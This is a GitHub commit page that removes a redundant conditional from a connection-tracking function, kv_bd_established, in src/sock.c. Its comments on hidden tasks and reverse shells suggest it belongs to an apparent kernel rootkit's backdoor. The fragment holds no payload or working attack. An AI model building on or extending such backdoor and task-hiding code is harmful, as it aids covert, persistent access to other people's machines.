Skip to content

Commit

Permalink
Merge pull request #70 from carloslack/kvdev
Browse files Browse the repository at this point in the history
Remove pointless if
  • Loading branch information
carloslack authored Sep 30, 2023
2 parents 454dffd + 852529a commit 6d6729b
Showing 1 changed file with 3 additions and 5 deletions.
8 changes: 3 additions & 5 deletions src/sock.c
Original file line number Diff line number Diff line change
Expand Up @@ -324,12 +324,10 @@ bool kv_bd_established(__be32 *daddr, int dport, bool established) {
* Make sure to mark established only once per-connection so
* they will not loose state.
* This will make internal references to be kept until
* connections are closed by clients, when tasks will be unhidden, data
* freed and the reverse shell(s) killed.
* connections are closed by clients, when tasks are revealed, data
* freed and reverse shell(s) killed.
*/
if (!node->established) {
node->established = established;
}
node->established = established;

rc = true;
break;
Expand Down

0 comments on commit 6d6729b

Please sign in to comment.